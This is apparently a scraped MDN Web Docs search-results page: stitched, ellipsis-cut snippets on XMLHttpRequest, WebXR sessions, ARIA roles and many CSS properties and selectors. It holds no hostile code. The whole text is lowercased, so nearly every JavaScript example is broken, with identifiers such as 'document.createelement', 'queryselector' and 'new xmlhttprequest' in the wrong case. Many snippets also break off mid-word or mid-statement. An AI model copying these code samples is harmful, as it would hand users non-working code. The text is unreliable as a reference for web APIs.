... decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); sendmessage("hello, world.", writablestream); you can find the full code in our simple writer example.
XMLHttpRequest.responseText - Web APIs
syntax var resulttext = xmlhttprequest.responsetext; value a domstring which contains either the textual data received using the xmlhttprequest or null if the request failed or "" if the request has not yet been sent by calling send().
... you know the entire content has been received when the value of readystate becomes xmlhttprequest.done (4), and status becomes 200 ("ok").
... exceptions invalidstateerror the xmlhttprequest.responsetype is not set to either the empty string or "text".
... example var xhr = new xmlhttprequest(); xhr.open('get', '/server', true); // if specified, responsetype must be empty string or "text" xhr.responsetype = 'text'; xhr.onload = function () { if (xhr.readystate === xhr.done) { if (xhr.status === 200) { console.log(xhr.response); console.log(xhr.responsetext); } } }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.076923076923077%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 650 150" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="conso...
...las,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequesteventtarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequesteventtarget</text></a><polyline points="401,25 411,20 411,30 401,25" stroke="#d4dde4" fill="none"/><line x1="411" y1="25" x2="441" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/xmlhttprequest" targe...
...t="_top"><rect x="441" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml.
...unlike xmlhttprequest.status, this includes the entire text of the response message ("200 ok", for example).
XRReferenceSpace - Web APIs
these are special spaces which let you establish a perimeter within which it's "safe" for the viewer to move.
...the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
... xrsession.requestreferencespace("local").then((refspace) => { xrreferencespace = refspace; /* ...
... geometry the native origin of any xrreferencespace is always configured so that +x is considered to be to the right, +y is upward, and +z is "backward" or toward the user.
XRSystem: requestSession() - Web APIs
examples creating an immersive vr session the following example calls requestsession() requesting an "immersive-vr" session.
... navigator.xr.requestsession("immersive-vr") .then((xrsession) => { xrsession.addeventlistener('end', onxrsessionended); // do necessary session setup here.
... xrsession.requestanimationframe(onxranimationframe); }).catch(function(error) { // "immersive-vr" sessions are not supported console.warn("'immersive-vr' isn't supported, or an error occurred activating vr!"); }); verifying webxr support and using a button to start vr mode the following example shows how to use both issessionsupported() and requestsession().
... if (navigator.xr) { navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.addeventlistener('click', onbuttonclicked); immersivebutton.innerhtml = 'enter xr'; immersivebutton.disabled = false; } else { console.log("webxr doesn't support immersive-vr mode!"); } }); } else { console.log("webxr is not available!"); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown for reasons of brevity and clarity.
ARIA Screen Reader Implementors Guide - Accessibility
busy regions: any changes in a region marked with aria-busy="true" should not be added to the queue until that attribute is cleared.
...role="log" is polite by default).
... atomic (aria-atomic="true") regions with multiple changes should not be presented twice with the same content.
... allow global settings to turn off the presentation of live changes, present all live changes, use markup, or be "smart" (use heuristics) details for processing via platform accessibility apis we hope browser manufacturers will work to provide consistent implementations.
Using the aria-describedby attribute - Accessibility
<div role="application" aria-labelledby="calendar" aria-describedby="info"> <h1 id="calendar">calendar</h1> <p id="info"> this calendar shows the game schedule for the boston red sox.
... </p> <div role="grid"> ...
... <button aria-label="close" aria-describedby="descriptionclose" onclick="mydialog.close()">x</button> ...
... <div id="descriptionclose">closing this window will discard any information entered and return you back to the main page</div> working examples: checkbox example uses aria-describedby tooltip example uses aria-describedby notes the aria-describedby attributed is not designed to reference descriptions on an external resource—since it is an id, it must reference an element in the same dom document.
Using the log role - Accessibility
where the user needs to hear the entire live region upon a change aria-atomic="true" should be set.
... to have announcements made as soon as possible and where the user may be interrupted, aria-live="assertive" can be set for more aggressive updates.
... <div id="liveregion" class="region" role="log"></div> example 2: snippet from an example application this snippet creates the chat log in an ajax chat application.
... <div id="chatarea" role="log"> <ul id="chatregion" aria-live="polite" aria-atomic="false"> <li>please choose a user name to begin using ajax chat.</li> </ul> <ul id="userlistregion" aria-live="off" aria-relevant="additions removals text"> </ul> </div> working examples: http://websiteaccessibility.donaldevans.com/2011/07/12/aria-log/ notes using the log role on an element implies that element has aria-live="polite".
Using the slider role - Accessibility
the slider role is assigned to the "thumb," the control that is adjusted to change the value.
... <label for="fader">volume</label> <input type="range" id="fader" min="1" max="100" value="50" step="1" aria-valuemin="1" aria-valuemax="100" aria-valuenow="50" oninput="outputupdate(value)"> <output for="fader" id="volume">50</output> the following code snippet allows you to return the output as it is updated by user input: function outputupdate(vol) { document.queryselector('#volume').
... <label id="day-label">days</label> <div class="day-slider"> <div id="day-handle" class="day-slider-handle" role="slider" aria-labelledby="day-label" aria-valuemin="1" aria-valuemax="7" aria-valuenow="2" aria-valuetext="monday"> </div> </div> the code snippet below shows a function that responds to user input and updates the aria-valuenow and aria-valuetext attributes: var daynames = ["sunday", "monday", "tuesday", "wednesday", "thursday", "friday", "sa...
...turday"]; var updateslider = function (newvalue) { var handle = document.getelementbyid("day-handle"); handle.setattribute("aria-valuenow", newvalue.tostring()); handle.setattribute("aria-valuetext", daynames[newvalue]); }; working examples: slider example notes aria attributes used aria-valuemin aria-valuemax aria-valuenow aria-valuetext aria-orientation related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the slider role ...
ARIA: alert role - Accessibility
setting role="alert" is equivalent to setting aria-live="assertive" and aria-atomic="true".
... examples the most basic way to trigger an alert is by adding role="alert" to an element that has display: none; by default.
... <p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation.
... <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> function triggeralert() { var alertel = document.queryselector('.alert'); alertel.addattribute("role", "alert"); } accessibility concerns the alert role should read out content that has changed, or bring the user's attention to it immediately, so it should not be used for static content or used regularly.
ARIA: article role - Accessibility
<div role="article"> <h2>heading of the segment</h2> <p>paragraph for the segment.</p> <p>another paragraph.</p> ...
...</div> <div role="article"> ...
... instead of using role="article", the <article> element can be used.
...examples of appropriate uses of the role="article", or preferably <article>, include blog posts, forum posts, a comment to a forum or blog post, a comment to a comment to a forum or blog post, any an item in a social media feed.
ARIA: banner role - Accessibility
<div role="banner"> <img src="companylogo.svg" alt="my company name" /> <h1>title</h1> <h2>subtitle</h2> </div> by default, the html5 <header> element has an identical meaning to the banner landmark, unless it is a descendant of <aside>, <article>, <main>, <nav>, or <section>.
...if the header element technique is not being used for that banner, a declaration of role="banner" should be used to define a banner landmark to assistive technologies.
... <div role="banner"> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard navigation</a> <img src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy navigation</p> </div> we could also have written the above with the html header element: <header> <a href="#nav" id="skiptomenu" class="skiptocontent">skip to keyboard navigation</a> <i...
...mg src="images/w3c.png" alt="w3c logo"> <h1>aria landmarks</h1> <p>identifying page subsections for easy navigation</p> </header> best practices while it is best to use the header element and ensure it is not a descendant of any subsection of the page, sometimes you don't have access to the underlying html.
ARIA: Suggestion role - Accessibility
this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> <div id="comment-source">suggested by chris, <time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></div> browsers tend to provide a default black strikethrough for deletions, and a black underline for insertions, but you’ll probably want to use accessibility concerns landmark roles are intended to be used sparingly, to identify larger overall sections of the document.
... using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
/* add a heart before links */ a::before { content: ""; } note: the pseudo-elements generated by ::before and ::after are contained by the element's formatting box, and thus don't apply to replaced elements such as <img>, or to <br> elements.
... html <q>some quotes,</q> he said, <q>are better than none.</q> css q::before { content: "«"; color: blue; } q::after { content: "»"; color: red; } result decorative example we can style text or images in the content property almost any way we want.
... html <span class="ribbon">notice where the orange box is.</span> css .ribbon { background-color: #5bc8f7; } .ribbon::before { content: "look at this orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result to-do list in this example we will create a simple to-do list using pseudo-elements.
...ughly into a smooth batter</li> <li>pour a ladleful of batter onto a hot, greased, flat frying pan</li> <li>fry until the top of the pancake loses its gloss</li> <li>flip it over and fry for a couple more minutes</li> <li>serve with your favorite topping</li> </ol> css li { padding:0.5em; } li[aria-current='step'] { font-weight:bold; } li[aria-current='step']::after { content: " \21e6"; /* hexadecimal for unicode leftwards white arrow*/ display: inline; } result specifications specification status comment css pseudo-elements level 4the definition of '::before' in that specification.
:checked - CSS: Cascading Style Sheets
WebCSS:checked
the :checked css pseudo-class selector represents any radio (<input type="radio">), checkbox (<input type="checkbox">), or option (<option> in a <select>) element that is checked or toggled to an on state.
... syntax :checked examples basic example html <div> <input type="radio" name="my-input" id="yes"> <label for="yes">yes</label> <input type="radio" name="my-input" id="no"> <label for="no">no</label> </div> <div> <input type="checkbox" name="my-checkbox" id="opt-in"> <label for="opt-in">check me!</label> </div> <select name="my-select" id="fruit"> <option value="opt1">apples</option> <option value="opt2">grapes</option> <option value="opt3">pe...
...ars</option> </select> css div, select { margin: 8px; } /* labels for checked inputs */ input:checked + label { color: red; } /* radio element, when checked */ input[type="radio"]:checked { box-shadow: 0 0 0 3px orange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox this example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using javascript.
... html <input type="checkbox" id="expand-toggle" /> <table> <thead> <tr><th>column #1</th><th>column #2</th><th>column #3</th></tr> </thead> <tbody> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr><td>[cell text]</td><td>[cell text]</td><td>[cell text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> <tr class="expandable"><td>[more text]</td><td>[more text]</td><td>[more text]</td></tr> </tbody> </table> <label for="expand-toggle" id="expand-btn">toggle hidden rows</label> css /* hide the toggle checkbox */ #expand-toggle { display: none; } /* hide expandable content by default */ .expan...
prefix - CSS: Cascading Style Sheets
if not specified, the default value will be "" (an empty string).
... syntax /* <symbol> values */ prefix: "»"; prefix: "page "; prefix: url(bullet.png); values <symbol> specifies a <symbol> that is prepended to the marker representation.
... formal definition related at-rule@counter-styleinitial value"" (the empty string)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples adding a prefix to a counter html <ul class="index"> <li>the boy who lived</li> <li>the vanishing glass</li> <li>the letters from no one</li> <li>the keeper of the keys</li> <li>diagon alley</li> </ul> css @counter-style chapters { system: numeric; symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9"; prefix: 'chapter '; } .index { list-style: chapters; padding-left: 15ch; } result specifications specificatio...
suffix - CSS: Cascading Style Sheets
syntax /* <symbol> values */ suffix: ""; suffix: ") "; suffix: url(bullet.png); values <symbol> specifies a <symbol> that is appended to the marker representation.
... formal definition related at-rule@counter-styleinitial value".
... " (full stop followed by a space)computed valueas specified formal syntax <symbol>where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
... <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples setting a suffix for a counter html <ul class="choices"> <li>one</li> <li>two</li> <li>three</li> <li>none of the above</li> </ul> css @counter-style options { system: fixed; symbols: a b c d; suffix: ") "; } .choices { list-style: options; } result specifications specification status comment css counter styles level 3the definition of 'suffix' in that specification.
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
syntax /* <url> values */ src: url(https://somewebsite.com/path/to/font.woff); /* absolute url */ src: url(path/to/font.woff); /* relative url */ src: url(path/to/font.woff) format("woff"); /* explicit format */ src: url('path/to/font.woff'); /* quoted url */ src: url(path/to/svgfont.svg#example); /* fragment identifying font */ /* <font-face-name> values */ src: local(font); /* unquoted name */ src: local(some font); /* name containing space */ src: local("font"); /* quoted name */ /* multiple items */ src: local(font), url(path/to/font.svg) format("svg"), url(pat...
...h/to/font.woff) format("woff"), url(path/to/font.otf) format("opentype"); values <url> [ format( <string># ) ]?
...if a container format lacks a defined fragment identifier scheme, a simple 1-based indexing scheme (e.g., "font-collection#1" for the first font, "font-collection#2" for the second font, etc.) is used.
...| local( <family-name> ) ]#where <family-name> = <string> | <custom-ident>+ examples specifying font resources using url() and local() @font-face { font-family: examplefont; src: local(example font), url('examplefont.woff') format("woff"), url('examplefont.otf') format("opentype"); } specifications specification status comment css fonts module level 3the definition of 'src' in that specification.
Using CSS animations - CSS: Cascading Style Sheets
var element = document.getelementbyid("watchme"); element.addeventlistener("animationstart", listener, false); element.addeventlistener("animationend", listener, false); element.addeventlistener("animationiteration", listener, false); element.classname = "slidein"; this is pretty standard code; you can get details on how it works in the documentation for eventtarget.addeventlistener().
... function listener(event) { var l = document.createelement("li"); switch(event.type) { case "animationstart": l.innerhtml = "started: elapsed time is " + event.elapsedtime; break; case "animationend": l.innerhtml = "ended: elapsed time is " + event.elapsedtime; break; case "animationiteration": l.innerhtml = "new loop started at time " + event.elapsedtime; break; } document.getelementbyid("output").appe...
... the html just for the sake of completeness, here’s the html that displays the page content, including the list into which the script inserts information about the received events: <h1 id="watchme">watch me move</h1> <p> this example shows how to use css animations to make <code>h1</code> elements move across the page.
...</p> <ul id="output"> </ul> and here's the live output.
Resizing background images with background-size - CSS: Cascading Style Sheets
html <div class="tiledbackground"> </div> css .tiledbackground { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this: background-size: 300px 150px; ...
... special values: "contain" and "cover" besides <length> values, the background-size css property offers two special size values, contain and cover.
... html <div class="bgsizecontain"> <p>try resizing this element!</p> </div> css .bgsizecontain { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: contain; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result cover the cover value specifies that the background image should be sized so that it is as small as possible while ensuri...
... html <div class="bgsizecover"> <p>try resizing this element!</p> </div> css .bgsizecover { background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png); background-size: cover; width: 160px; height: 160px; border: 2px solid; color: pink; resize: both; overflow: scroll; } result see also background-size background scaling of svg backgrounds ...
Using CSS counters - CSS: Cascading Style Sheets
the counter's name must not be "none", "inherit", or "initial"; otherwise the declaration is ignored.
... basic example this example adds "section [the value of the counter]:" to the beginning of each heading.
...*/ } h3::before { counter-increment: section; /* increment the value of section counter by 1 */ content: "section " counter(section) ": "; /* display the word 'section ', the value of section counter, and a colon before the content of each h3 */ } html <h3>introduction</h3> <h3>body</h3> <h3>conclusion</h3> result nesting counters a css counter can be especially useful for making outlined lists, because a new instance of the counter is automatically created in child elements.
... section; /* creates a new instance of the section counter with each ol element */ list-style-type: none; } li::before { counter-increment: section; /* increments only this instance of the section counter */ content: counters(section, ".") " "; /* combines the values of all instances of the section counter, separated by a period */ } html <ol> <li>item</li> <!-- 1 --> <li>item <!-- 2 --> <ol> <li>item</li> <!-- 2.1 --> <li>item</li> <!-- 2.2 --> <li>item <!-...
Stacking context example 3 - CSS: Cascading Style Sheets
example source code <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <html> <head><style type="text/css"> div { font: 12px arial; } span.bold { font-weight: bold; } div.lev1 { width: 250px; height: 70px; position: relative; border: 2px outset #669966; background-color: #ccffcc; padding-left: 5px; } #container1 { z-index: 1; position: absolu...
...t: 60px; position: relative; border: 2px outset #990000; background-color: #ffdddd; padding-left: 5px; } #container2 { z-index: 1; position: absolute; top: 20px; left: 110px; } div.lev3 { z-index: 10; width: 100px; position: relative; border: 2px outset #000099; background-color: #ddddff; padding-left: 5px; } </style></head> <body> <br /> <div class="lev1"> <span class="bold">level #1</span> <div id="container1"> <div class="lev2"> <br /><span class="bold">level #2</span> <br />z-index: 1; <div id="container2"> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</s...
...pan></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> <div class="lev3"><span class="bold">level #3</span></div> </div> </div> <div class="lev2"> <br /><span class="bold">level #2</span> <br />z-index: 1; </div> </div> </div> <div class="lev1"> <span class="bold">level #1</span> </div> ...
...<div class="lev1"> <span class="bold">level #1</span> </div> <div class="lev1"> <span class="bold">level #1</span> </div> </body></html> ...
Using the :target pseudo-class in selectors - CSS: Cascading Style Sheets
thus, the example url would point to the heading "example" in this document.
...thus, to add a border to the #example fragment, we would write: #example:target { border: 1px solid black; } targeting all elements if the intent is to create a "blanket" style that will apply to all targeted elements, then the universal selector comes in handy: :target { color: red; } example in the following example, there are five links that point to elements in the same document.
... selecting the "first" link, for example, will cause <h1 id="one"> to become the target element.
... <h4 id="one">...</h4> <p id="two">...</p> <div id="three">...</div> <a id="four">...</a> <em id="five">...</em> <a href="#one">first</a> <a href="#two">second</a> <a href="#three">third</a> <a href="#four">fourth</a> <a href="#five">fifth</a> conclusion in cases where a fragment identifier points to a portion of the document, readers may become confused about which part of the document they're supposed to be reading.
Viewport concepts - CSS: Cascading Style Sheets
your viewport is everything that is currently visible, notably, the "what is a viewport section", and perhaps some of the navigation menu.
... <svg height="300" width="400"></svg> in this examples, the viewport has an aspect ratio of 3::4, and is, but default, 400 by 300 units, with a unit generally being a css pixel.
...to tell a mobile browser to use the viewport width instead of the default 980px as the width of the screen, developers can include a viewport meta tag, like the following: <meta name="viewport" content="width=device-width"> the width property controls the size of the viewport.
... see also @viewport css at-rule visual viewport api <meta>, specifically <meta name="viewport"> using the viewport meta tag to control layout on mobile browsers ...
animation - CSS: Cascading Style Sheets
WebCSSanimation
/* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; /* @keyframes name | duration | timing-function | delay */ animation: 3s linear 1s slidein; /* @keyframes name | duration */ animation: slidein 3s; <div class="grid"> <div class="col"> <div class="note"> given the following animation: <pre>@keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } }</pre> </div> <div class="row"> <div class="cell"> <button class="play" title="play"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s ease-in 1s 2...
... reverse both paused slidein;</div> <div class="animation a1"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s linear 1s slidein;</div> <div class="animation a2"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s slidein;</div> <div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27...
...ingle-animation-iteration-count> = infinite | <number><single-animation-direction> = normal | reverse | alternate | alternate-reverse<single-animation-fill-mode> = none | forwards | backwards | both<single-animation-play-state> = running | paused<keyframes-name> = <custom-ident> | <string>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and multipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-star...
...t | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none | jump-both | start | end examples cylon eye <div class="view_port"> <div class="polling_message"> listening for dispatches </div> <div class="cylon_eye"></div> </div> .polling_message { color: white; float: left; margin-right: 2%; } .view_port { background-color: black; height: 25px; width: 100%; overflow: hidden; } .cylon_eye { background-color: red; background-image: linear-gradient(to right, rgba(0, 0, 0, .9) 25%, rgba(0, 0, 0, .1) 50%, rgba(0, 0, 0, .9) 75%); color: white; height: 100%; width: 20%; -webkit-animation: 4s linear 0s infinite alternate move_eye; animation: 4s linear 0s infinite alternate move_ey...
background-position - CSS: Cascading Style Sheets
e right image edge is coincident with the right container edge) -250px (left image edge 250px to the left of the container, in this example that puts the right edge of the 300px-wide image in the center of the container) it's worth mentioning that if your background-size is equal to the container size for a given axis, then a percentage position for that axis will have no effect because the "container-image difference" will be zero.
... html <div class="exampleone">example one</div> <div class="exampletwo">example two</div> <div class="examplethree">example three</div> css /* shared among all <div>s */ div { background-color: #ffee99; background-repeat: no-repeat; width: 300px; height: 80px; margin-bottom: 12px; } /* these examples use the `background` shorthand property */ .exampleone { background: url("https://mdn.mozillademos.or...
...g/files/11987/startransparent.gif") #ffee99 2.5cm bottom no-repeat; } .exampletwo { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #ffee99 left 4em bottom 1em no-repeat; } /* multiple background images: each image is matched with the corresponding position, from first specified to last.
... */ .examplethree { background-image: url("https://mdn.mozillademos.org/files/11987/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-position: 0px 0px, right 3em bottom 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-position' in that specification.
<color> - CSS: Cascading Style Sheets
currentcolor example html <div style="color:blue; border: 1px dashed currentcolor;"> the color of this text is blue.
... <div style="background:currentcolor; height:9px;"></div> this block is surrounded by a blue border.
... html <div></div> <hr> <label for="color">enter a valid color value:</label> <input type="text" id="color"> css div { width: 100%; height: 200px; } javascript const inputelem = document.queryselector('input'); const divelem = document.queryselector('div'); function validtextcolor(stringtotest) { if (stringtotest === "") { return false; } if (stringtotest === "inherit") { return false; } if (stringtotest === "transpa...
...rent") { return false; } const image = document.createelement("img"); image.style.color = "rgb(0, 0, 0)"; image.style.color = stringtotest; if (image.style.color !== "rgb(0, 0, 0)") { return true; } image.style.color = "rgb(255, 255, 255)"; image.style.color = stringtotest; return image.style.color !== "rgb(255, 255, 255)"; } inputelem.addeventlistener('change', () => { if(validtextcolor(inputelem.value)) { divelem.style.backgroundcolor = inputelem.value; divelem.textcontent = ''; } else { divelem.style.backgroundcolor = 'white'; divelem.textcontent = 'invalid color value'; } }); result rgb syntax variations this example shows the many ways in which a single color can be created with the various rgb color syntaxes.
contain - CSS: Cascading Style Sheets
WebCSScontain
note that this value is marked "at-risk" in the spec and may not be supported everywhere.
...tsinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | strict | content | [ size | layout | style | paint ] examples simple layout the markup below consists of a number of articles, each with content: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> each <article> and <img> is given a border, and the images are floated: img { float: left; border: 3px solid black; } article { border: 1px solid black; } float interference if we were to insert another image at the bottom of the first article, a large portion of the dom tree may be re-laid out or repainted, and this wou...
...ld also interfere with the layout of the second article: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1>...
... <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; contain: content; } this also means that the first image no longer floats down to the second article, and instead stays inside it's containing element's bounds: specifications specification status comment css containment module level 1the definition of 'contain' in that specification.
element() - CSS: Cascading Style Sheets
WebCSSelement
<div style="width:400px; height:400px; background:-moz-element(#mybackground1) no-repeat;"> <p>this box uses the element with the #mybackground1 id as its background!</p> </div> <div style="overflow:hidden; height:0;"> <div id="mybackground1" style="width:1024px; height:1024px; background-image: linear-gradient(to right, red, orange, yellow, white);"> <p style="transform-origin:0 0; transform: rotate(4...
...5deg); color:white;">this text is part of the background.
... cool, huh?</p> </div> </div> the <div> element with the id "mybackground1" is used as the background for the content including the paragraph "this box uses the element with the #mybackground1 id as its background!".
... <div style="width:400px; height:100px; background:-moz-element(#mybackground2);"> </div> <div style="overflow:hidden; height:0;"> <button id="mybackground2" type="button">evil button!</button> </div> specifications specification status comment css images module level 4the definition of 'using elements as images: the element() notation' in that specification.
flex-basis - CSS: Cascading Style Sheets
history: originally, flex-basis:auto meant "look at my width or height property".
... then, flex-basis:auto was changed to mean automatic sizing, and "main-size" was introduced as the "look at my width or height property" keyword.
... then, that change was reverted in bug 1093316, so auto once again means "look at my width or height property"; and a new content keyword is being introduced to trigger automatic sizing.
... formal definition initial valueautoapplies toflex items, including in-flow pseudo-elementsinheritednopercentagesrefer to the flex container's inner main sizecomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length, percentage or calc(); formal syntax content | <'width'> examples setting flex item initial sizes html <ul class="container"> <li class="flex flex1">1: flex-basis test</li> <li class="flex flex2">2: flex-basis test</li> <li class="flex flex3">3: flex-basis test</li> <li class="flex flex4">4: flex-basis test</li> <li class="flex flex5">5: flex-basis test</li> </ul> <ul class="container"> <li class="flex flex6">6: flex-basis test</li> </ul> css .container { font-family: arial, sans-serif; ma...
font-language-override - CSS: Cascading Style Sheets
/* keyword value */ font-language-override: normal; /* <string> values */ font-language-override: "eng"; /* use english glyphs */ font-language-override: "trk"; /* use turkish glyphs */ /* global values */ font-language-override: initial; font-language-override: inherit; font-language-override: unset; by default, html's lang attribute tells browsers to display glyphs designed specifically for that language.
... for example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-override property lets you override the typeface behavior for a specific language.
...for example, "eng" is english, and "kor" is korean.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | <string> examples using danish glyphs html <p class="para1">default language setting.</p> <p class="para2">this is a string with the <code>font-language-override</code> set to danish.</p> css p.para1 { font-language-override: normal; } p.para2 { font-language-override: "dan"; } result specifications specification status comment css fonts module level 4the definition of 'font-language-override' in that specification.
font-style - CSS: Cascading Style Sheets
for truetype or opentype variable fonts, the "slnt" variation is used to implement varying slant angles for oblique, and the "ital" variation with a value of 1 is used to implement italic values.
